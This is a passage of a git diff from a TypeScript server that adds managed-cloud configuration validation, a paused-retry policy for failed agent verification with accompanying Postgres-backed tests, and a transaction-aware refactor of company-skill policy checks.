validateManagedCloudBootstrapPrerequisites({ databaseUrl: url }, process.env); return { databaseMode: "postgres", databaseUrl: url, databaseMigrationUrl: migrationUrl }; } diff --git a/server/src/index.ts b/server/src/index.ts index ae229f03518..c127753889c 100644 --- a/server/src/index.ts +++ b/server/src/index.ts @@ -296,9 +296,11 @@ async function startServerWithDatabaseTeardown( // Error monitoring must be ready before the first request can fail — see // sentry.ts. await sentryReady; - ensureDecisionSigningSecret(); const startupConfig = isCloudManagedInstance() ? loadCloudBootstrapConfig() : loadConfig(); - if ("deploymentMode" in startupConfig) initializeRuntimeConfigConsumers(startupConfig); + if ("deploymentMode" in startupConfig) { + ensureDecisionSigningSecret(); + initializeRuntimeConfigConsumers(startupConfig); + } type MigrationSummary = | "skipped" @@ -728,6 +730,9 @@ async function startServerWithDatabaseTeardown( await initializeCloudRuntimeConfig(db as any); let config = "deploymentMode" in startupConfig ? startupConfig : loadConfig(); + // Cloud storage depends on the canonical DB snapshot. Validate it before + // signing keys or other configuration consumers can mutate local state. + if (isCloudManagedInstance()) ensureDecisionSigningSecret(); // A claimed warm-pool stack may restart while its provider environment still // names the pool host. Restore the signed, durable identity before Better diff --git a/server/src/managed-cloud-prerequisites.ts b/server/src/managed-cloud-prerequisites.ts new file mode 100644 index 00000000000..84305467af8 --- /dev/null +++ b/server/src/managed-cloud-prerequisites.ts @@ -0,0 +1,77 @@ +import { isCloudManagedInstance } from "./services/cloud-instance.js"; +import { parseManagedConfigEnv, type ManagedConfigEnv } from "./services/managed-config.js"; +import { isValidLocalEncryptedMasterKey } from "./secrets/local-encrypted-provider.js"; +import type { StorageProvider } from "@paperclipai/shared"; + +interface ManagedCloudPrerequisites { + storageProvider: StorageProvider; + /** The canonical DB/config value or explicit env/file value, before defaults. */ + storageS3Bucket: string | undefined; + storageS3Region: string; + storageS3Endpoint: string | undefined; + databaseUrl: string | undefined; +} + +/** Pure startup policy for the existing managed-cloud profile. No I/O or probes. */ +export function validateManagedCloudPrerequisites( + config: ManagedCloudPrerequisites, + env: ManagedConfigEnv, +): void { + validateManagedCloudStoragePrerequisites(config, env); + validateManagedCloudBootstrapPrerequisites(config, env); +} + +/** Validate a resolved candidate before its first Cloud import or startup use. */ +export function validateManagedCloudStoragePrerequisites( + config: Pick, + env: ManagedConfigEnv, +): void { + if (!isCloudManagedInstance(env)) return; + parseManagedConfigEnv(env); + + const refuse = (message: string): never => { + throw new Error(`Managed cloud configuration: ${message}; refusing to start`); + }; + // An invalid explicit env value must not fall through to a file/default value. + if ((env.PAPERCLIP_STORAGE_PROVIDER !== undefined && env.PAPERCLIP_STORAGE_PROVIDER !== "s3") + || config.storageProvider !== "s3") { + refuse("set PAPERCLIP_STORAGE_PROVIDER=s3 or storage.provider=s3 in the config file"); + } + if (!config.storageS3Bucket?.trim()) { + refuse("set PAPERCLIP_STORAGE_S3_BUCKET or storage.s3.bucket explicitly"); + } + if (!config.storageS3Region.trim()) { + refuse("set a nonblank PAPERCLIP_STORAGE_S3_REGION or storage.s3.region"); + } + if (config.storageS3Endpoint !== undefined) { + let validEndpoint = false; + try { + const url = new URL(config.storageS3Endpoint); + validEndpoint = (url.protocol === "https:" || url.protocol === "http:") + && !!url.hostname && !url.username && !url.password; + } catch { /* The diagnostic must not include a possibly secret URL. */ } + if (!validEndpoint) refuse("PAPERCLIP_STORAGE_S3_ENDPOINT must be an HTTP(S) URL without credentials"); + } +} + +/** Environment-owned prerequisites needed before opening the Cloud database. */ +export function validateManagedCloudBootstrapPrerequisites( + config: { databaseUrl: string | undefined }, env: ManagedConfigEnv, +): void { + if (!isCloudManagedInstance(env)) return; + parseManagedConfigEnv(env); + const refuse = (message: string): never => { + throw new Error(`Managed cloud configuration: ${message}; refusing to start`); + }; + let validDatabase = false; + try { + const url = new URL(config.databaseUrl ?? ""); + validDatabase = (url.protocol === "postgres:" || url.protocol === "postgresql:") && !!url.hostname; + } catch { /* The diagnostic must not include database credentials. */ } + if (!validDatabase) { + refuse("set DATABASE_URL to an external PostgreSQL URL"); + } + if (!isValidLocalEncryptedMasterKey(env.PAPERCLIP_SECRETS_MASTER_KEY ?? "")) { + refuse("set a stable PAPERCLIP_SECRETS_MASTER_KEY (32-byte base64, 64-char hex, or raw 32-char string); key files alone are not supported"); + } +} diff --git a/server/src/modules/agent-lifecycle/__tests__/diagnostics.test.ts b/server/src/modules/agent-lifecycle/__tests__/diagnostics.test.ts index bcc786dd979..3f59f82d6ff 100644 --- a/server/src/modules/agent-lifecycle/__tests__/diagnostics.test.ts +++ b/server/src/modules/agent-lifecycle/__tests__/diagnostics.test.ts @@ -5,7 +5,7 @@ import type { LifecycleAgent, LifecycleStore, LifecycleDriver } from "../applica import { startAgentLifecycle } from "../index.js"; import { createAgentLifecycleEffects } from "../../../services/agent-lifecycle.js"; import { logger } from "../../../middleware/logger.js"; -import { lifecycleFailureMessage } from "../application/failure.js"; +import { lifecycleFailureMessage, lifecycleVerificationNeedsRetry } from "../application/failure.js"; const agent: LifecycleAgent = { id: "agent", companyId: "company", lifecycleState: "verifying", lifecycleVersion: 3, lifecycleRequiredPluginIds: null, lifecycleError: null, @@ -67,6 +67,20 @@ describe("lifecycle readiness handoff", () => { }); describe("lifecycle failure diagnostics", () => { + it.each(["harness_auth_failed", "harness_model_unavailable", "harness_command_unavailable", "harness_cwd_invalid", "harness_probe_unexpected_output"])("waits for repair only for a host verification failure: %s", code => { + const error = { code }; + expect(lifecycleVerificationNeedsRetry({ stage: "host", phase: "verifying" }, error)).toBe(true); + expect(lifecycleVerificationNeedsRetry({ stage: "plugin", phase: "verifying" }, error)).toBe(false); + expect(lifecycleVerificationNeedsRetry({ stage: "host", phase: "cleaning_up" }, error)).toBe(false); + }); + + it("allows two automatic retries of a generic failed test before waiting for repair", () => { + for (const verificationFailures of [1, 2, 3, 8_000]) { + const context = { stage: "host" as const, phase: "verifying" as const, attempts: 8_000, verificationFailures }; + expect(lifecycleVerificationNeedsRetry(context, { code: "harness_test_failed" })).toBe(verificationFailures >= 3); + } + }); + it.each([ ["host", "harness_model_unavailable", "Execution configuration check failed. The selected model is unavailable."], ["plugin", "required_plugin_unavailable", "Execution configuration check: required plugin step failed. A required plugin is unavailable."], @@ -80,7 +94,8 @@ describe("lifecycle failure diagnostics", () => { if (stage === "select_plugins") driver.requiredPluginIds.mockRejectedValue(error); if (stage === "transition") store.change.mockRejectedValue(error); await worker.process(agent.id); - expect(store.defer).toHaveBeenCalledWith(agent, expect.any(String), expect.stringContaining(expected), expect.any(Date)); + expect(store.defer).toHaveBeenCalledWith(agent, expect.any(String), expect.stringContaining(expected), expect.any(Date), + ...(stage === "host" ? [{ retryRequired: true }] : [])); expect(JSON.stringify(store.defer.mock.calls)).not.toContain("secret provider output"); expect(JSON.stringify(store.defer.mock.calls)).not.toContain("unknown private code"); await worker.stop(); diff --git a/server/src/modules/agent-lifecycle/__tests__/verification-retry.test.ts b/server/src/modules/agent-lifecycle/__tests__/verification-retry.test.ts new file mode 100644 index 00000000000..cc76c705d32 --- /dev/null +++ b/server/src/modules/agent-lifecycle/__tests__/verification-retry.test.ts @@ -0,0 +1,182 @@ +import { randomUUID } from "node:crypto"; +import { agents, companies, createDb, applyPendingMigrations, closeRegisteredClients, type Db } from "@paperclipai/db"; +import { eq, sql } from "drizzle-orm"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "../../../__tests__/helpers/embedded-postgres.js"; +import { createAgentLifecycle, configureAgentLifecycle } from "../../../services/agent-lifecycle.js"; +import { createAgentLifecycleEffects } from "../../../services/agent-lifecycle.js"; +import { startAgentLifecycle } from "../index.js"; +import { createLifecycleStore } from "../adapters/postgres.js"; +import { createLifecycleWorker } from "../application/worker.js"; +import type { LifecycleAgent } from "../application/ports.js"; +import { resolveExternalTestDatabaseUrl } from "../../../__tests__/helpers/external-test-database.js"; + +const external = resolveExternalTestDatabaseUrl("PAPERCLIP_LIFECYCLE_VERIFICATION_RETRY_TEST_DATABASE_URL"); +const support = external ? { supported: true } : await getEmbeddedPostgresTestSupport(); +(support.supported ? describe : describe.skip)("failed lifecycle verification retries", () => { + let database: Awaited>; + let db: Db; + let companyId: string; + const workers: Array<{ stop(): Promise }> = []; + beforeAll(async () => { + if (external) { await applyPendingMigrations(external); db = createDb(external); } + else { database = await startEmbeddedPostgresTestDatabase("paperclip-verification-retry-"); db = createDb(database.connectionString); } + }, 90_000); + afterAll(async () => { if (external) await closeRegisteredClients(external); else await database?.cleanup(); }); + beforeEach(async () => { + companyId = randomUUID(); + await db.insert(companies).values({ id: companyId, name: "Verification retry", issuePrefix: `V${companyId.slice(0, 7)}` }); + }); + afterEach(async () => { + for (const worker of workers.splice(0)) await worker.stop(); + // Retire only this test's synthetic records so later coordinator reads stay isolated. + await db.update(agents).set({ lifecycleState: "terminated", status: "terminated" }).where(eq(agents.companyId, companyId)); + }); + const current = async (id: string) => (await db.select().from(agents).where(eq(agents.id, id)))[0]!; + async function failed(code = "harness_test_failed") { + const runHost = vi.fn(async (agent: LifecycleAgent) => { + if (agent.lifecycleState === "verifying") throw Object.assign(new Error("private provider detail"), { code }); + return "complete" as const; + }); + const driver = { requiredPluginIds: async () => [], runHost, runPlugin: async () => "complete" as const }; + const work = configureAgentLifecycle(db, driver); workers.push(work); + const agent = await createAgentLifecycle(db).requestHire(companyId, { name: "Retry fixture", adapterType: "process", adapterConfig: { command: "missing-command" } }); + await work.process(agent.id); + if (code === "harness_test_failed") { + for (let retry = 0; retry < 2; retry++) { + expect((await current(agent.id)).lifecycleOperation?.retryRequired).toBeUndefined(); + await db.update(agents).set({ lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt'` }).where(eq(agents.id, agent.id)); + await work.process(agent.id); + } + } + return { agent: await current(agent.id), work, driver, runHost }; + } + + it("persists a failed test across worker restarts without scanning, claiming, or probing it again", async () => { + const { agent, work, driver, runHost } = await failed(); + expect(agent).toMatchObject({ lifecycleState: "verifying", status: "paused", lifecycleOperation: { retryRequired: true } }); + expect(agent.lifecycleOperation).not.toHaveProperty("retryAt"); + expect(agent.lifecycleOperation).not.toHaveProperty("leaseOwner"); + expect(agent.lifecycleError).toContain("Automatic verification is paused"); + expect(agent.lifecycleError).not.toContain("private provider detail"); + await work.stop(); + const restarted = startAgentLifecycle(db, createAgentLifecycleEffects(), driver, () => true); workers.push(restarted); + const calls = runHost.mock.calls.length; + expect(await restarted.hasPending()).toBe(false); + expect(restarted.nextRunAt()).toBeNull(); + await restarted.sweep(); + const store = createLifecycleStore(db, createAgentLifecycleEffects()); + const tomorrow = new Date(Date.now() + 86_400_000); + expect(await store.pending(100, tomorrow)).not.toContain(agent.id); + expect(await store.claim(agent.id, "new-owner", tomorrow)).toBeNull(); + await work.process(agent.id); + expect(runHost).toHaveBeenCalledTimes(calls); + expect((await current(agent.id)).lifecycleOperation).toEqual(agent.lifecycleOperation); + }); + + it("permits an explicit retry of the same operation and completes verification before readiness", async () => { + const { agent, work, runHost } = await failed(); + runHost.mockResolvedValue("complete"); + await createAgentLifecycle(db).retry(agent.id); + expect((await current(agent.id)).lifecycleOperation).not.toHaveProperty("retryRequired"); + expect((await current(agent.id)).lifecycleOperation).not.toHaveProperty("verificationFailures"); + expect((await current(agent.id)).lifecycleOperation!.id).toBe(agent.lifecycleOperation!.id); + await work.process(agent.id); + expect(await current(agent.id)).toMatchObject({ lifecycleState: "ready", status: "idle", lifecycleError: null }); + }); + + it("does not spend verification retries on claims deferred before the host test", async () => { + const [agent] = await db.insert(agents).values({ companyId, name: "Deferred verification", status: "paused", + lifecycleState: "verifying", lifecycleRequiredPluginIds: [], + lifecycleOperation: { id: randomUUID(), hostComplete: false, completedPluginIds: [], attempts: 0 } }).returning(); + const store = createLifecycleStore(db, createAgentLifecycleEffects()); + let allowed = true; + let deferBeforeHost = true; + const runHost = vi.fn(async () => { throw Object.assign(new Error("test failed"), { code: "harness_test_failed" }); }); + const work = createLifecycleWorker({ ...store, async claim(...args) { + const claimed = await store.claim(...args); + if (claimed && deferBeforeHost) allowed = false; + return claimed; + } }, { requiredPluginIds: async () => [], runPlugin: async () => "complete", runHost }, () => {}, () => allowed); + workers.push(work); + const due = async () => { + allowed = true; + await db.update(agents).set({ lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt'` }).where(eq(agents.id, agent.id)); + await work.process(agent.id); + }; + await due(); await due(); + expect(runHost).not.toHaveBeenCalled(); + expect((await current(agent.id)).lifecycleOperation).toMatchObject({ attempts: 2 }); + expect((await current(agent.id)).lifecycleOperation).not.toHaveProperty("verificationFailures"); + deferBeforeHost = false; + await due(); + expect((await current(agent.id)).lifecycleOperation).toMatchObject({ attempts: 3, verificationFailures: 1 }); + expect((await current(agent.id)).lifecycleOperation?.retryRequired).toBeUndefined(); + // Another deferred claim preserves the already recorded failed test. + deferBeforeHost = true; await due(); + expect((await current(agent.id)).lifecycleOperation?.verificationFailures).toBe(1); + deferBeforeHost = false; + await due(); + expect((await current(agent.id)).lifecycleOperation?.retryRequired).toBeUndefined(); + await due(); + expect(runHost).toHaveBeenCalledTimes(3); + expect((await current(agent.id)).lifecycleOperation).toMatchObject({ verificationFailures: 3, retryRequired: true }); + }); + + it("recovers from a generic failed test before the automatic retry budget is exhausted", async () => { + const { agent, work, runHost } = await failed("harness_probe_timed_out"); + runHost.mockRejectedValueOnce(Object.assign(new Error("temporary test failure"), { code: "harness_test_failed" })); + await db.update(agents).set({ lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt'` }).where(eq(agents.id, agent.id)); + await work.process(agent.id); + expect((await current(agent.id)).lifecycleOperation?.retryRequired).toBeUndefined(); + runHost.mockResolvedValue("complete"); + await db.update(agents).set({ lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt'` }).where(eq(agents.id, agent.id)); + await work.process(agent.id); + expect((await current(agent.id)).lifecycleState).toBe("ready"); + }); + + it("rechecks changed execution configuration but leaves a name edit waiting", async () => { + const { agent, work, runHost } = await failed(); + const lifecycle = createAgentLifecycle(db); + await lifecycle.updateConfiguration(agent.id, { name: "Renamed fixture" }); + expect((await current(agent.id)).lifecycleOperation!.retryRequired).toBe(true); + runHost.mockResolvedValue("complete"); + await lifecycle.updateConfiguration(agent.id, { adapterConfig: { command: process.execPath } }); + const changed = await current(agent.id); + expect(changed.lifecycleOperation).not.toHaveProperty("retryRequired"); + expect(changed.lifecycleOperation).not.toHaveProperty("verificationFailures"); + expect(changed.lifecycleOperation!.id).not.toBe(agent.lifecycleOperation!.id); + await work.process(agent.id); + expect((await current(agent.id)).lifecycleState).toBe("ready"); + }); + + it("does not let a stale verification failure park newly saved configuration", async () => { + const { agent, work } = await failed("harness_auth_failed"); + await work.stop(); + const store = createLifecycleStore(db, createAgentLifecycleEffects()); + await store.change(agent.id, "retry"); + const claimed = await store.claim(agent.id, "old-verification", new Date()); + expect(claimed).not.toBeNull(); + await createAgentLifecycle(db).updateConfiguration(agent.id, { adapterConfig: { command: process.execPath } }); + expect(await store.defer(claimed!, "old-verification", "Old failure", new Date(), { retryRequired: true })).toBe(false); + expect((await current(agent.id)).lifecycleOperation?.retryRequired).toBeUndefined(); + }); + + it.each(["harness_probe_timed_out", "test_environment_unavailable", "ECONNRESET", "unclassified"])("keeps automatic recovery for %s", async code => { + const { agent } = await failed(code); + expect(agent.lifecycleOperation).not.toHaveProperty("retryRequired"); + expect(Date.parse(agent.lifecycleOperation!.retryAt!)).toBeGreaterThan(Date.now()); + const store = createLifecycleStore(db, createAgentLifecycleEffects()); + expect(await store.pending(100, new Date(Date.now() + 120_000))).toContain(agent.id); + expect(await store.claim(agent.id, "automatic-retry", new Date(Date.now() + 120_000))).not.toBeNull(); + }); + + it("still completes termination and cleanup when verification needs repair", async () => { + const { agent, work, runHost } = await failed(); + runHost.mockResolvedValue("complete"); + await createAgentLifecycle(db).terminateAgent(agent.id); + await work.process(agent.id); + expect((await current(agent.id)).lifecycleState).toBe("terminated"); + expect(runHost.mock.calls.map(([a]) => a.lifecycleState)).toContain("cleaning_up"); + }); +}); diff --git a/server/src/modules/agent-lifecycle/adapters/configuration.ts b/server/src/modules/agent-lifecycle/adapters/configuration.ts index 7359ddfacf1..80e90dbd71d 100644 --- a/server/src/modules/agent-lifecycle/adapters/configuration.ts +++ b/server/src/modules/agent-lifecycle/adapters/configuration.ts @@ -37,7 +37,8 @@ export async function updateAgentConfiguration(tx: Db, effects: LifecycleEffects ...(!prepareSetup && current.lifecycleHolds.includes("setup") && ["preparing", "verifying"].includes(current.lifecycleState) ? { lifecycleState: "pausing" as const } : {}), lifecycleOperation: { ...current.lifecycleOperation!, id: randomUUID(), hostComplete: false, - completedPluginIds: [], leaseOwner: undefined, leaseUntil: undefined, retryAt: undefined }, + completedPluginIds: [], attempts: 0, leaseOwner: undefined, leaseUntil: undefined, + retryAt: undefined, retryRequired: undefined, verificationFailures: undefined }, } : {}) }).where(eq(agents.id, id)).returning(); await effects.completeConfiguration(tx, current, updated, patch, options, publications); return agentRecordQueries(tx).getById(id); diff --git a/server/src/modules/agent-lifecycle/adapters/postgres.ts b/server/src/modules/agent-lifecycle/adapters/postgres.ts index 0e618f2ae5f..d7f8e77c553 100644 --- a/server/src/modules/agent-lifecycle/adapters/postgres.ts +++ b/server/src/modules/agent-lifecycle/adapters/postgres.ts @@ -17,6 +17,7 @@ type ChangeOptions = { version?: number; owner?: string; reason?: string }; export const pendingLifecycleWork = and( inArray(agents.lifecycleState, ["preparing", "verifying", "pausing", "resuming", "terminating", "cleaning_up"]), sql`not (${agents.lifecycleState} = 'verifying' and ${agents.lifecycleHolds} @> '["setup"]'::jsonb)`, + sql`not (${agents.lifecycleState} = 'verifying' and coalesce(${agents.lifecycleOperation}->>'retryRequired', 'false') = 'true')`, ); /** The caller owns the accounting transaction and has locked this agent. */ @@ -33,7 +34,7 @@ async function changeLockedAgent(tx: Db, effects: LifecycleEffects, agent: Lifec if (agent.lifecycleOperation?.leaseUntil && Date.parse(agent.lifecycleOperation.leaseUntil) > Date.now()) return agent; await effects.notifyWork(tx); const [updated] = await tx.update(agents).set({ lifecycleError: null, - lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt' - 'leaseOwner' - 'leaseUntil'`, updatedAt: new Date() }).where(eq(agents.id, agent.id)).returning(); + lifecycleOperation: sql`${agents.lifecycleOperation} - 'retryAt' - 'retryRequired' - 'verificationFailures' - 'leaseOwner' - 'leaseUntil'`, updatedAt: new Date() }).where(eq(agents.id, agent.id)).returning(); return updated; } if (command === "resume" && !["ready", "paused", "pausing", "resuming"].includes(agent.lifecycleState)) transition(agent.lifecycleState, command); @@ -177,11 +178,17 @@ export function createLifecycleStore(db: Db, effects: LifecycleEffects): Lifecyc sql`${agents.lifecycleOperation}->>'leaseOwner' = ${owner}`)).returning({ id: agents.id }); return rows.length > 0; }, - async defer(agent, owner, error, now) { + async defer(agent, owner, error, now, options) { + const retry: Partial = options?.retryRequired && agent.lifecycleState === "verifying" + ? { retryRequired: true } + : { retryAt: new Date(now.getTime() + (error ? 60_000 : 2_000)).toISOString() }; + if (options?.verificationFailures !== undefined && agent.lifecycleState === "verifying") { + retry.verificationFailures = options.verificationFailures; + } const rows = await db.update(agents).set({ lifecycleError: error, - lifecycleOperation: sql`(${agents.lifecycleOperation} - 'leaseOwner' - 'leaseUntil') - || jsonb_build_object('retryAt', ${new Date(now.getTime() + (error ? 60_000 : 2_000)).toISOString()}::text)`, + lifecycleOperation: sql`(${agents.lifecycleOperation} - 'leaseOwner' - 'leaseUntil' - 'retryAt' - 'retryRequired') + || ${JSON.stringify(retry)}::jsonb`, updatedAt: now, }).where(and(eq(agents.id, agent.id), eq(agents.lifecycleVersion, agent.lifecycleVersion), sql`${agents.lifecycleOperation}->>'leaseOwner' = ${owner}`)).returning({ id: agents.id }); diff --git a/server/src/modules/agent-lifecycle/application/failure.ts b/server/src/modules/agent-lifecycle/application/failure.ts index 0c5da80e34b..55b6e5dc7c6 100644 --- a/server/src/modules/agent-lifecycle/application/failure.ts +++ b/server/src/modules/agent-lifecycle/application/failure.ts @@ -15,6 +15,16 @@ const reasons = { } as const; const transientCodes = new Set(["ECONNREFUSED", "ECONNRESET", "ETIMEDOUT", "40001", "40P01", "53300", "57P01"]); +const configurationFailures = new Set([ + "harness_auth_failed", "harness_model_unavailable", + "harness_command_unavailable", "harness_cwd_invalid", "harness_probe_unexpected_output", +]); + +export function lifecycleVerificationNeedsRetry(context: LifecycleFailure, error: unknown): boolean { + const code = lifecycleFailureCode(error) ?? ""; + return context.phase === "verifying" && context.stage === "host" + && (configurationFailures.has(code) || (code === "harness_test_failed" && (context.verificationFailures ?? 0) >= 3)); +} export function lifecycleFailureCode(error: unknown): string | undefined { const candidate = error as { code?: unknown; cause?: { code?: unknown } } | null; @@ -36,5 +46,6 @@ export function lifecycleFailureMessage(context: LifecycleFailure, error: unknow const code = lifecycleFailureCode(error); const reason = code && Object.hasOwn(reasons, code) ? reasons[code as keyof typeof reasons] : "Paperclip could not complete this step. It will retry automatically. If this continues, contact your instance administrator."; - return `${step} failed. ${reason}`; + return `${step} failed. ${reason}${lifecycleVerificationNeedsRetry(context, error) + ? " Automatic verification is paused. Update Configuration or choose Retry now." : ""}`; } diff --git a/server/src/modules/agent-lifecycle/application/ports.ts b/server/src/modules/agent-lifecycle/application/ports.ts index 6ff3d170109..2fbcd33c8cc 100644 --- a/server/src/modules/agent-lifecycle/application/ports.ts +++ b/server/src/modules/agent-lifecycle/application/ports.ts @@ -20,7 +20,7 @@ export interface LifecycleStore { setRequiredPlugins(agent: LifecycleAgent, owner: string, pluginIds: string[]): Promise; completeHost(agent: LifecycleAgent, owner: string): Promise; completePlugin(agent: LifecycleAgent, owner: string, pluginId: string): Promise; - defer(agent: LifecycleAgent, owner: string, error: string | null, now: Date): Promise; + defer(agent: LifecycleAgent, owner: string, error: string | null, now: Date, options?: { retryRequired: boolean; verificationFailures?: number }): Promise; pending(limit: number, now: Date): Promise; } @@ -40,5 +40,7 @@ export interface LifecycleFailure { phase?: AgentLifecycleState; operationId?: string; version?: number; + attempts?: number; + verificationFailures?: number; pluginId?: string; } diff --git a/server/src/modules/agent-lifecycle/application/worker.ts b/server/src/modules/agent-lifecycle/application/worker.ts index 3c362dcbb11..02d2804f5d6 100644 --- a/server/src/modules/agent-lifecycle/application/worker.ts +++ b/server/src/modules/agent-lifecycle/application/worker.ts @@ -1,7 +1,7 @@ import { randomUUID } from "node:crypto"; import type { LifecycleDriver, LifecycleStore, LifecycleFailure } from "./ports.js"; import { isLifecycleWorkPending } from "../domain/policy.js"; -import { lifecycleFailureMessage } from "./failure.js"; +import { lifecycleFailureCode, lifecycleFailureMessage, lifecycleVerificationNeedsRetry } from "./failure.js"; /** Database leases protect each attempt across server processes. */ export function createLifecycleWorker(store: LifecycleStore, driver: LifecycleDriver, reportFailure: (context: LifecycleFailure, error: unknown) => void, canRun = () => true) { @@ -20,7 +20,8 @@ export function createLifecycleWorker(store: LifecycleStore, driver: LifecycleDr const agent = await attempt({ stage: "claim", agentId: id }, () => store.claim(id, owner, new Date())); if (!agent || !isLifecycleWorkPending(agent.lifecycleState)) return; const context = { agentId: agent.id, companyId: agent.companyId, phase: agent.lifecycleState, - operationId: agent.lifecycleOperation?.id, version: agent.lifecycleVersion }; + operationId: agent.lifecycleOperation?.id, version: agent.lifecycleVersion, + attempts: agent.lifecycleOperation?.attempts }; let failureContext: LifecycleFailure = { ...context, stage: "host" }; const runStep = (stage: LifecycleFailure["stage"], work: () => Promise, pluginId?: string) => { const stepContext = { ...context, stage, ...(pluginId ? { pluginId } : {}) }; @@ -70,8 +71,16 @@ export function createLifecycleWorker(store: LifecycleStore, driver: LifecycleDr } if (changed && !isLifecycleWorkPending(changed.lifecycleState)) return; } catch (error) { + // Claims can defer before runHost. Only a failed host test spends this budget. + const verificationFailures = failureContext.stage === "host" && agent.lifecycleState === "verifying" + && lifecycleFailureCode(error) === "harness_test_failed" + ? (agent.lifecycleOperation?.verificationFailures ?? 0) + 1 : undefined; + failureContext = { ...failureContext, verificationFailures }; const message = lifecycleFailureMessage(failureContext, error); - if (!await runStep("defer", () => store.defer(agent, owner, message, new Date()))) continue; + const retryRequired = lifecycleVerificationNeedsRetry(failureContext, error); + if (!await runStep("defer", () => retryRequired || verificationFailures !== undefined + ? store.defer(agent, owner, message, new Date(), { retryRequired, ...(verificationFailures !== undefined ? { verificationFailures } : {}) }) + : store.defer(agent, owner, message, new Date()))) continue; return; } finally { clearInterval(renewal); diff --git a/server/src/routes/company-skills.ts b/server/src/routes/company-skills.ts index 3926793700a..765dd3b8777 100644 --- a/server/src/routes/company-skills.ts +++ b/server/src/routes/company-skills.ts @@ -1,3 +1,6 @@ +import { logger } from "../middleware/logger.js"; +import { managedSkillContent } from "../services/managed-skill-content.js"; +import type { SkillContentPublication } from "../services/managed-skill-content.js"; import { projectSkillSetupIdentity } from "../services/project-skill-source-bindings.js"; import { adoptProjectSkillRepository, projectSkillRepositories, skillSourceSyncService } from "../services/skill-source-sync.js"; import { skillAccessRequestContext, skillAccessService } from "../services/skill-access.js"; @@ -6,11 +9,12 @@ import { skillSourceGitHubReader } from "../services/skill-source-github-access. import { toolAccessService } from "../services/tool-access.js"; import { skillSourceCreateSchema, skillSourceDiscoverySchema, skillSourcePreviewSchema, skillSourceSelectionSchema, skillSourceSettingsSchema, skillSourceBranchesQuerySchema, projectSkillSourceAdoptSchema, skillSourceDisconnectSchema } from "@paperclipai/shared"; import type { ActivityPublication } from "../services/activity-log.js"; +import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; import { once } from "node:events"; import type { SkillSourceDiscoveryEvent } from "@paperclipai/shared"; import { createHash } from "node:crypto"; import { and, eq, sql } from "drizzle-orm"; -import { activityLog, companySkills } from "@paperclipai/db"; +import { activityLog, companySkills, companySkillMutationReceipts } from "@paperclipai/db"; import { persistActivity, publishActivity } from "../services/activity-log.js"; import { projectToolContext } from "../services/project-tool-context.js"; import { Router, type Request } from "express"; @@ -98,7 +102,7 @@ type SkillPolicyResourceInput = | Promise | (() => SkillPolicyEvaluationResource | Promise); -export function companySkillRoutes(db: Db) { +export function companySkillRoutes(db: Db, options: { pluginWorkerManager?: PluginWorkerManager } = {}) { const router = Router(); router.use(skillAccessRequestContext); router.param("skillId", async (req, _res, next, id) => { @@ -118,7 +122,7 @@ export function companySkillRoutes(db: Db) { const sourceSvc = skillSourceService(db); const sourceSync = skillSourceSyncService(db); const issues = issueService(db); - const heartbeat = heartbeatService(db); + const heartbeat = heartbeatService(db, { pluginWorkerManager: options.pluginWorkerManager }); const skillPolicies = companySkillPolicyService(db); function asString(value: unknown): string | null { @@ -182,9 +186,9 @@ export function companySkillRoutes(db: Db) { return { type: "system" as const }; } - async function skillPolicyPrincipal(req: Request, companyId: string): Promise { + async function skillPolicyPrincipal(req: Request, companyId: string, database: Db = db): Promise { if (req.actor.type === "agent" && req.actor.agentId) { - return skillPolicies.resolveAgentPrincipal(companyId, req.actor.agentId); + return companySkillPolicyService(database).resolveAgentPrincipal(companyId, req.actor.agentId); } if (req.actor.type === "board") { return { type: "board", id: req.actor.userId ?? "board", role: "board" }; @@ -198,8 +202,8 @@ export function companySkillRoutes(db: Db) { skillKey?: unknown; sourceType?: string | null; sourceLocator?: unknown; - }): Promise { - const stored = input.skillId ? await svc.getById(input.companyId, input.skillId) : null; + }, database: Db = db): Promise { + const stored = input.skillId ? await companySkillService(database).getById(input.companyId, input.skillId) : null; const sourceLocator = asString(input.sourceLocator) ?? stored?.sourceLocator ?? undefined; return { ...(input.skillId ? { skillId: input.skillId } : {}), @@ -227,6 +231,7 @@ export function companySkillRoutes(db: Db) { companyId: string, action: SkillPolicyAction, resource: SkillPolicyResourceInput = {}, + database: Db = db, ) { if (req.actor.type === "none") { throw unauthorized("Authentication required"); @@ -235,7 +240,7 @@ export function companySkillRoutes(db: Db) { throw forbidden("Agent key cannot access another company", { code: "skill_company_boundary_denied" }); } assertCompanyAccess(req, companyId); - const platformDecision = await access.decide({ + const platformDecision = await accessService(database).decide({ actor: req.actor, action: "skill_config:update", resource: { type: "company", companyId }, @@ -255,9 +260,9 @@ export function companySkillRoutes(db: Db) { }); } const resolvedResource = typeof resource === "function" ? await resource() : await resource; - const policyDecision = await skillPolicies.evaluate({ + const policyDecision = await companySkillPolicyService(database).evaluate({ companyId, - principal: await skillPolicyPrincipal(req, companyId), + principal: await skillPolicyPrincipal(req, companyId, database), action, resource: resolvedResource, }); @@ -266,6 +271,38 @@ export function companySkillRoutes(db: Db) { } } + function publishCommittedActivity(publication: ActivityPublication) { + try { publishActivity(publication); } + catch { logger.warn({ companyId: publication.companyId }, "Committed skill activity notification failed"); } + } + + function contentPublication(req: Request, companyId: string, skillId: string, action: SkillPolicyAction, + event: (skill: Parameters>[1], + version: Parameters>[2]) => { + action: string; entityType?: string; entityId?: string; details: Record; + }) { + let publication: ActivityPublication | null = null; + const hooks: SkillContentPublication = { + validate: async tx => { + const database = tx as unknown as Db; + await assertCanMutateCompanySkills(req, companyId, action, + () => skillPolicyResource({ companyId, skillId }, database), database); + }, + afterPublish: async (tx, skill, version) => { + const actor = getActorInfo(req); + const activity = event(skill, version); + publication = (await persistActivity(tx as unknown as Db, { + companyId, ...actor, entityType: "company_skill", entityId: skill.id, ...activity, + })).publication; + }, + }; + return { hooks, publish() { + if (!publication) return false; + publishCommittedActivity(publication); + return true; + } }; + } + async function assertCanOrchestrateSkillTestHarness( req: Request, companyId: string, @@ -929,9 +966,13 @@ export function companySkillRoutes(db: Db) { const companyId = req.params.companyId as string; const skillId = req.params.skillId as 